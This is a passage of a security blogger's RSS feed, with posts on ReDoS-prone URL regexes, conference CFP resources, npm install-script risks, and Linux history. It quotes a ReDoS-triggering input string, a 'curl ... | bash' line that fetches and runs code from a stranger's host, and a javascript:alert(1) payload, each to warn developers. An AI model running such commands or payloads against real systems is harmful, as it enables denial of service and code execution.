&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;RegExp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(regex, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;ig&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(string);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;checkUrlIsValidFast&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://example.com&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// returns true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The regular expression validation above looks great, right?&lt;/p&gt;
&lt;p&gt;Well, it’s not. It’s vulnerable to a ReDoS attack. Let’s see how.
What if the attacker sends the following string as input for a URL:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;checkUrlIsValidFast&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;018137.113.215.4074.138.129.172220.179.206.94180.213.144.175250.45.147.1364868726sgdm6nohQ&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// returns true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// but after like a million years.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// goodluck ;-)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;your-npm-package-validator-is-vulnerable-to-redos&quot;&gt;Your npm package validator is vulnerable to ReDoS&lt;/h2&gt;
&lt;p&gt;My personal advice when I’m asked about how to handle RegEx in
situation where you need to validate a string is to avoid it
completely if you can and use lower-order string manipulation
functions instead.&lt;/p&gt;
&lt;p&gt;The reason is that RegEx is a very powerful tool, but it’s also
very complicated and can be very hard to get right. If you want
some supporting evidence, I can offer at least two:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cloudflare, an incredibly big Internet infrastructure provider, &lt;a href=&quot;https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/&quot;&gt;had suffered one if its biggest outages in history&lt;/a&gt; in 2016 due to a ReDoS vulnerability in one of their RegEx.&lt;/li&gt;
&lt;li&gt;The &lt;a href=&quot;https://snyk.io/advisor/npm-package/validator&quot;&gt;validator&lt;/a&gt; npm package, which is used by millions of developers, has been found &lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-VALIDATOR-1298040&quot;&gt;vulnerable to ReDoS&lt;/a&gt; time and time again.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If smart maintainers, many collaborators, and talented developers employed by Fortune500 public companies can’t get RegEx right, how can we expect the average developer to do so?&lt;/p&gt;
&lt;h2 id=&quot;what-else-to-worry-about-when-validating-urls&quot;&gt;What else to worry about when validating URLs?&lt;/h2&gt;
&lt;p&gt;Other security aspects to consider when validating URLs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/mvsamuel&quot;&gt;Mike Samuel&lt;/a&gt; had &lt;a href=&quot;https://twitter.com/mvsamuel/status/1582089787850166272?s=20&amp;#x26;t=MsK4_x0yoj5wQgTjbU7fbA&quot;&gt;offered advice&lt;/a&gt; about normalizing URLs in order to avoid different sort of injection payloads.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/weizmangal&quot;&gt;Gal Weizman&lt;/a&gt; had &lt;a href=&quot;https://twitter.com/weizmangal/status/1582090000000000000?s=20&amp;#x26;t=MsK4_x0yoj5wQgTjbU7fbA&quot;&gt;shown the classic javascript:alert(1) payload&lt;/a&gt; as that which gets passed through a &lt;code&gt;new URL()&lt;/code&gt; parsing just fine, but is vulnerable still.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/oriSomething&quot;&gt;Ori Livni&lt;/a&gt; demonstrated how &lt;a href=&quot;https://twitter.com/oriSomething/status/1582007859780677634?s=20&amp;#x26;t=MsK4_x0yoj5wQgTjbU7fbA&quot;&gt;different URL schemes are possible&lt;/a&gt; to provide a valid URL (per &lt;code&gt;new URL&lt;/code&gt;) but are often not what the developer would have expected.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/ThisIsMissEm&quot;&gt;Emily&lt;/a&gt; had &lt;a href=&quot;https://twitter.com/ThisIsMissEm/status/1582032133392314368?s=20&amp;#x26;t=MsK4_x0yoj5wQgTjbU7fbA&quot;&gt;hinted&lt;/a&gt; that a fast performing &lt;code&gt;URL.isValid()&lt;/code&gt; would be a nice idea.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;getting-better-at-regex&quot;&gt;Getting better at RegEx&lt;/h2&gt;
&lt;p&gt;As I have mentioned in a &lt;a href=&quot;https://twitter.com/liran_tal/status/1582082037170638848?s=20&amp;#x26;t=MsK4_x0yoj5wQgTjbU7fbA&quot;&gt;follow-up tweet&lt;/a&gt;
to the discussion about JavaScript URL validation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;for most of us, unless you are @TheDavisJam who practically wrote the book on regular expression denial of service and who is familiar with internal regex state machine engines.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’ve put together a few resources that will be helpful to
better understand ReDoS, its impact and how to avoid it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Snyk’s &lt;a href=&quot;https://learn.snyk.io/lessons/redos/javascript&quot;&gt;ReDoS learning path&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cloudflare made available &lt;a href=&quot;https://www.cloudflare.com/learning/ddos/glossary/regular-expression-dos-and-regex-dos/&quot;&gt;a dedicated
page&lt;/a&gt;
about ReDoS and how to avoid it.&lt;/li&gt;
&lt;li&gt;Tim Kadlec’s &lt;a href=&quot;https://snyk.io/blog/redos-and-catastrophic-backtracking/&quot;&gt;Regular Expression Denial of Service (ReDoS) in Node.js&lt;/a&gt;
guide about regular expression Catastrophic Backtracking.&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Resources for Public Speaking and Conference CFP application</title><link>https://lirantal.com/blog/2022-10-21_resources_for_public_speaking_and_conference_cfp_application/</link><guid>https://lirantal.com/blog/2022-10-21_resources_for_public_speaking_and_conference_cfp_application/</guid><description>How do you find events to attend or speak at? I often get asked that and in this article I&apos;ll share the resources I use for CFP application and public speaking at conferences.</description><pubDate>Fri, 21 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;How do you find events to attend or speak at?&lt;/p&gt;
&lt;p&gt;I often get asked that
and in this article I’ll share the resources I use for CFP (Call for
Papers / Proposals) application and public speaking at conferences.&lt;/p&gt;
&lt;p&gt;I’ve been doing active public speaking for about 5 years now so some
of this feels very natural to me already and I have developed my own
mechanics of applying to conferences and submitting CFPs&lt;/p&gt;
&lt;h2 id=&quot;a-cfp-template&quot;&gt;A CFP template&lt;/h2&gt;
&lt;p&gt;How to structure your CFP application is a very important aspect of
submitting a proposal. It’s not just about the content, but also about
how you structure it and how you present it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cfptemplate.com&quot;&gt;CFP Template&lt;/a&gt; by Colby Fayock is a way to
organize and DRY up submitting your conference proposals. Another
reference to is the following &lt;a href=&quot;https://github.com/colbyfayock/cfptemplate.com&quot;&gt;open source GitHub repository&lt;/a&gt;
it lives on if you want to contribute or customize even further.&lt;/p&gt;
&lt;h2 id=&quot;conference-tracking-websites&quot;&gt;Conference tracking websites&lt;/h2&gt;
&lt;p&gt;There are dedicated websites that track events world-wide, as well
as their dates for open CFP applications. Some are very specific to
an ecosystem or domain, such as JavaScript or DevOps, and others are
general lists.&lt;/p&gt;
&lt;p&gt;The following are events and conference CFP listings you can track:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.papercall.io&quot;&gt;Papercall&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://confs.tech&quot;&gt;confs.tech&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://seecfp.com&quot;&gt;SeeCFP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cfpland.com&quot;&gt;CFPLand&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://callingallpapers.com&quot;&gt;CallingAllPapers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://frontendfront.com/conferences&quot;&gt;FrontendFront CFP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://codeandtalk.com/topics&quot;&gt;CodeAndTalk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/kristofferjalen/dotnetconferences&quot;&gt;.NET Conferences&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cfptime.org/home&quot;&gt;CFP Time&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.conf42.com&quot;&gt;Conf42&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.events&quot;&gt;developers.events&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cfp.watch/&quot;&gt;CFP.watch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.adatosystems.com/cfp-tracker/&quot;&gt;CFP Tracker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some of the above are also available to consume as a newsletter,
such as SeeCFP, which makes it easier to receive new upcoming events
as a push.&lt;/p&gt;
&lt;p&gt;Another website to call out is &lt;a href=&quot;https://sessionize.com&quot;&gt;Sessionize&lt;/a&gt;
which is a CFP platform, to actually manage the applications sent to
events and for event organizers to track, rate them, and so on. But,
it’s also possible to browse through events once you register to the
Sessionize platform.&lt;/p&gt;
&lt;p&gt;There are also open source GitHub repositories which track CFPs
that you can watch for updates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/telstrapurple/DevEvents&quot;&gt;https://github.com/telstrapurple/DevEvents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/scraly/developers-conferences-agenda&quot;&gt;https://github.com/scraly/developers-conferences-agenda&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/javaconferences/javaconferences.github.io&quot;&gt;https://github.com/javaconferences/javaconferences.github.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/frontendfront/front-end-conferences&quot;&gt;https://github.com/frontendfront/front-end-conferences&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/scral-github-repository-of-conferences.webp&quot; alt=&quot;GitHub repository of scraly/developers-conferences-agenda&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;cfp-twitter&quot;&gt;CFP Twitter&lt;/h2&gt;
&lt;p&gt;Twitter is a great signal for open CFPs and generally speaking,
a good resource for tracking conferences.&lt;/p&gt;
&lt;p&gt;Here are a few accounts and Twitter Lists worth mentioning:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/TechDailyCFP&quot;&gt;TechDailyCFP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/callingallpaper&quot;&gt;CallingAllPapers&lt;/a&gt; is the Twitter version of the website mentioned above&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/PhpCfps&quot;&gt;PHP CFPs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/ItCfpList&quot;&gt;IT CFP List&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;devrel-twitter-lists&quot;&gt;DevRel Twitter Lists&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Devocate’s &lt;a href=&quot;https://twitter.com/i/lists/1429519267062501377&quot;&gt;DevRelPeeps&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Chris Short’s &lt;a href=&quot;https://twitter.com/i/lists/1006252559110111232&quot;&gt;DevRel-iens&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Peter’s &lt;a href=&quot;https://twitter.com/i/lists/1339583343738810374&quot;&gt;DevRel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Sebastien’s &lt;a href=&quot;https://twitter.com/i/lists/1446011436984152073&quot;&gt;DevRel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Webchick’s &lt;a href=&quot;https://twitter.com/i/lists/1424857107237531663&quot;&gt;DevRel &amp;#x26; Community&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;KathyLam’s &lt;a href=&quot;https://twitter.com/i/lists/1362862888331968514&quot;&gt;DevRel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kin Lane’s &lt;a href=&quot;https://twitter.com/i/lists/1293027363723214848&quot;&gt;DevRel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Michael Friedrich’s &lt;a href=&quot;https://twitter.com/i/lists/1288789359865606145&quot;&gt;DevRel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Alex Moreno’s &lt;a href=&quot;https://twitter.com/i/lists/1192901338537086977&quot;&gt;DevRel Pro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Daniele’s &lt;a href=&quot;https://twitter.com/i/lists/1173099694735544320&quot;&gt;DevRel news&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Alyss Noland’s &lt;a href=&quot;https://twitter.com/i/lists/901926062275395584&quot;&gt;Tech DevRel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Rob Axelsen’s &lt;a href=&quot;https://twitter.com/i/lists/930729395161128961&quot;&gt;DevRel&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;developer-relations-and-community-newsletters&quot;&gt;Developer Relations and Community newsletters&lt;/h2&gt;
&lt;p&gt;Another great resource of getting more familiar with Developer Relations
and all about developer Community management are newsletters that focus
on this domain explicitly.&lt;/p&gt;
&lt;p&gt;These DevRel &amp;#x26; Community newsletters also feature upcoming events, and
open CFPs before they close.&lt;/p&gt;
&lt;p&gt;DevRel and Community newsletters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tessa Kriesel’s newsletter &lt;a href=&quot;https://www.tessakriesel.com&quot;&gt;Subscribe on her website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://devrelweekly.com&quot;&gt;DevRel Weekly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.community.club/newsletter&quot;&gt;Community Club Weekly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tinyletter.com/developeravocados&quot;&gt;Developer Advocado’s Weekly&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Do you know of other great resources that I should list here?
&lt;br&gt;
Hit me up at &lt;a href=&quot;https://twitter.com/liran_tal&quot;&gt;@liran_tal&lt;/a&gt; and let me know, I’ll add it to this article!&lt;/p&gt;</content:encoded></item><item><title>Open Source From Heaven, Modules From Hell</title><link>https://lirantal.com/blog/2019-01-26/</link><guid>https://lirantal.com/blog/2019-01-26/</guid><description>How do you find events to attend or speak at? I often get asked that and in this article I&apos;ll share the resources I use for CFP application and public speaking at conferences.</description><pubDate>Sat, 26 Jan 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Knock knock. It’s 2019.&lt;/p&gt;
&lt;p&gt;The past year has been perhaps the biggest yet for open source with several tech giants doubling down on open source investments.&lt;/p&gt;
&lt;p&gt;Can you imagine yourself writing software without relying on an open source component?&lt;br&gt;
Are you going to give up on a helpful library that gets something out of the way for you so you can focus on your domain logic? Even if technically possible, it’s probably not a choice you will consciously make in most occasions.&lt;/p&gt;
&lt;p&gt;You set out to find a third-party for your project and find yourself immersed in a plethora of libraries that are laid out for you in a garden of code which we like to call “Nifty Poutine Meal”, also known as npm.&lt;/p&gt;
&lt;p&gt;Scroll.&lt;/p&gt;
&lt;p&gt;Scroll.&lt;/p&gt;
&lt;p&gt;Scroll.&lt;/p&gt;
&lt;p&gt;Next page.&lt;/p&gt;
&lt;p&gt;“There it is!”&lt;/p&gt;
&lt;p&gt;&lt;em&gt;opens terminal and types in&lt;/em&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ npm install node-sqlite&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WAIT!&lt;/p&gt;
&lt;p&gt;Don’t hit return.&lt;/p&gt;
&lt;p&gt;Let’s take a step back and evaluate what this is going to do by breaking it down step by step.&lt;/p&gt;
&lt;h2 id=&quot;understanding-the-dangers-of-module-installs&quot;&gt;Understanding The Dangers of Module Installs&lt;/h2&gt;
&lt;p&gt;The very first thing to notice is that the npm client is running as the user you are logged in with and will assume the same permissions. While seemingly obvious, I am highlighting this because I’ve had colleagues calling me to review something and the first thing I noticed is that they are prefixing their npm commands with sudo, such as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $ sudo npm build&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;They followed this pattern because of a broken setup they had on their Mac and didn’t understand its implications. Regardless of the npm run-script you are calling, whether a build or an install step, there is virtually no reason to use npm as the root user or provide it any higher privileges than your work user.&lt;/p&gt;
&lt;p&gt;With this in mind, let’s get back to the install command. However, before we step into it, I’d like to ask you how likely are you to run this command in your shell:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    $ curl https://node-sqlite.somestranger.sh | bash&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is my sincere hope that just the thought of running that command is completely disturbing for you, as it rightfully should. There will have to be a very compelling reason for anyone to justify fetching some stranger’s code off the Internet and piping it to a shell.&lt;/p&gt;
&lt;p&gt;The same potentially happens when you run &lt;code&gt;npm install&lt;/code&gt;. Modules in the npm ecosystem are allowed to define custom commands that will be executed during the installation step. For example, native modules that are written in C/C++ may require to run a compiler on your host machine so the bytecode is compatible with your CPU architecture.&lt;/p&gt;
&lt;p&gt;The npm CLI client defines several life-cycle run-scripts that will be executed in different stages. Some examples are the &lt;code&gt;preinstall&lt;/code&gt; run-script that will execute any command specified by the module being installed, or the &lt;code&gt;prepublish&lt;/code&gt; run-script that will execute when the module is being published. The latter usually happens when a maintainer invokes the &lt;code&gt;npm publish&lt;/code&gt; command to release a new version of their module.&lt;/p&gt;
&lt;p&gt;Even scarier is the thought that whatever module you are installing off of npm has a very high chance of importing by itself other strangers code as well, and whose to say they are trusted or have been vetted?&lt;/p&gt;
&lt;p&gt;One way to mitigate this concern is to advise the npm client not to run any lifecycle scripts. This can be done either by setting a global configuration, a per-project configuration using an &lt;code&gt;.npmrc&lt;/code&gt; or by specifying an ad-hoc command argument.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  $ npm config set ignore-scripts true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  $ echo “ignore-scripts=true” &gt; .npmrc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  $ npm install node-sqlite —ignore-scripts&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The implications of this setting are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Due to disabling install lifecycle scripts, builds for things such as native modules will break.&lt;/li&gt;
&lt;li&gt;Any invocation of any run-script will fail.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The first implication may be annoying at times, but the second is going to make life miserable for anyone who interacts with the npm CLI in a regular manner which is probably most developers.&lt;/p&gt;
&lt;p&gt;While all of this is a worrying concern, it is not even the entire problem scope.&lt;/p&gt;
&lt;p&gt;A module may not have any run-scripts defined for its installation phase, but at the same time nothing stops a malicious user to build such module that when “required” will create a child process and execute a command or anything of similar concern.&lt;/p&gt;
&lt;h2 id=&quot;safely-installing-packages-with-npq&quot;&gt;Safely installing packages with npq&lt;/h2&gt;
&lt;p&gt;This is why I set out to create &lt;a href=&quot;https://web.archive.org/web/20190419105747/https://github.com/lirantal/npq&quot;&gt;npq&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;npq is a drop-in enhancement for npm or yarn, with the purpose of running simple static checks for the packages you are about to install and allow you to weigh in on whether you actually want to continue with the installation process or abort right there because something looks, well, fishy.&lt;/p&gt;
&lt;p&gt;Once you install npq, you can easily alias it to npm if that’s your favorite, and npq will just pass-through all commands to npm except for the case when you wish to install packages.&lt;/p&gt;
&lt;p&gt;When you try to do that, npq will run several checks for every single package and its version that you specified in the command line and will provide you with the output findings.&lt;/p&gt;
&lt;p&gt;If nothing of concern was found it will silently continue to install the packages, and when any of the checks failed it will prompt you in an interactive manner so you can make a conscious decision about continuing with the installation and accepting the risk.&lt;/p&gt;
&lt;p&gt;npq is bundled with the following checks, which we refer to as marshalls:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Package maturity checks a package creation date, if it’s been more than 22 days since it was created this check will fail. The rationale behind this check is to prevent you from installing a malicious package that is new on the ecosystem.&lt;/li&gt;
&lt;li&gt;Package downloads count will fail if a package has less than 20 downloads in the last month.&lt;/li&gt;
&lt;li&gt;Package that has no README content will fail.&lt;/li&gt;
&lt;li&gt;Package that has any pre or post-installation script will fail for the concern of possibly being malicious.&lt;/li&gt;
&lt;li&gt;Incase you are using &lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt; and are entitled to use the Snyk API npq will test if any of the packages and their versions being installed has a vulnerability associated with them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any of these marshalls can be enabled or disabled per your preference for checks to perform, but even when they are all enabled they should be treated as a minor aid in spotting potential malicious packages before you install, and shouldn’t be your last line of defense.&lt;/p&gt;
&lt;p&gt;If you like the concept of npq I welcome you to join and participate in the project and suggest new marshalls or help improve existing marshalls by fine-tuning them and helping us create a more secure ecosystem so we can all enjoy open source safely.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: this article was originally posted at &lt;a href=&quot;https://www.javascriptjanuary.com&quot;&gt;https://www.javascriptjanuary.com&lt;/a&gt; as part of 2019’s Advent of JavaScript series by &lt;a href=&quot;https://twitter.com/editingemily&quot;&gt;Emily Freeman&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title>The Dawn of Linux</title><link>https://lirantal.com/blog/the-dawn-of-linux-12d777f37c7e/</link><guid>https://lirantal.com/blog/the-dawn-of-linux-12d777f37c7e/</guid><description>Linux is all over the place. Seriously.</description><pubDate>Sun, 18 Sep 2016 08:37:30 GMT</pubDate><content:encoded>&lt;p&gt;Linux is all over the place. Seriously.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__xW5jfVpib4stPRcn.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It is powering your smartphone, a drone network, NASA’s international space station, supercomputers, mainframes and your grandma’s IP webcam.&lt;/p&gt;
&lt;p&gt;But how did it all start?&lt;/p&gt;
&lt;p&gt;Back in August 1991, a young Finnish software engineer named Linus Torvalds hacked his way to create a free operating system.&lt;/p&gt;
&lt;p&gt;He couldn’t even realize at that point how much of an impact it will have on the world today:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__bhjRzdBNy1Fdt9Tc.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;While discussion steers, Linus makes it pretty obvious that the Linux OS is so entirely integrated and dependent on the 386 processor architecture and it will be a nightmare to port it to other CPU/hardware.&lt;/p&gt;
&lt;p&gt;Linus doesn’t promise it will be anything bigger than minix, but the Free Software spirit is something that Linus has embraced dearly as one who is living the hacker culture himself:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__GhiMFgMrb4zOZ8oY.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;And here’s how software engineers do marketing:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__MmV3umKw6gy1s__9X.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Just a couple of months later and Linus is shooting out marketing messages to get more developers involved. He is definitely aiming at all those hackers just waiting to feed their curiosity.&lt;/p&gt;
&lt;p&gt;Very quickly the Linux OS has matured towards developer-centric audience, and nowadays power our day to day gadgets and desktops.&lt;br&gt;
Back in those days, many inter-related events were happening together — RMS’s free software movement, Linus’s free OS project, the rise of personal computers and telecommunications — all of which have contributed to the dawn of Linux.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__Bfm5ZML1vTIXGSpV.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;My first encounter with Linux was when I was about 15.&lt;br&gt;
My friend dropped a RedHat Linux 5 install on my laptop.&lt;br&gt;
Everything changed for me then.&lt;/p&gt;
&lt;p&gt;What was yours…?&lt;/p&gt;
&lt;p&gt;Photo Credits: Wikipedia, Athanasios Kasampalis on Flickr&lt;br&gt;
Source: &lt;a href=&quot;https://www.cs.cmu.edu/~awb/linux.history.html&quot;&gt;https://www.cs.cmu.edu/~awb/linux.history.html&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>This is Open Source too: Contributing Documentation</title><link>https://lirantal.com/blog/this-is-open-source-too-contributing-documentation-aebb122414c2/</link><guid>https://lirantal.com/blog/this-is-open-source-too-contributing-documentation-aebb122414c2/</guid><description>So what does Open Source software mean in real life? I promise no fancy philosophies and day-long lectures by Richard Stallman about open…</description><pubDate>Tue, 13 Sep 2016 14:41:49 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;So what does Open Source software mean in real life?&lt;/strong&gt; I promise no fancy philosophies and day-long lectures by Richard Stallman about open source and free software.&lt;/p&gt;
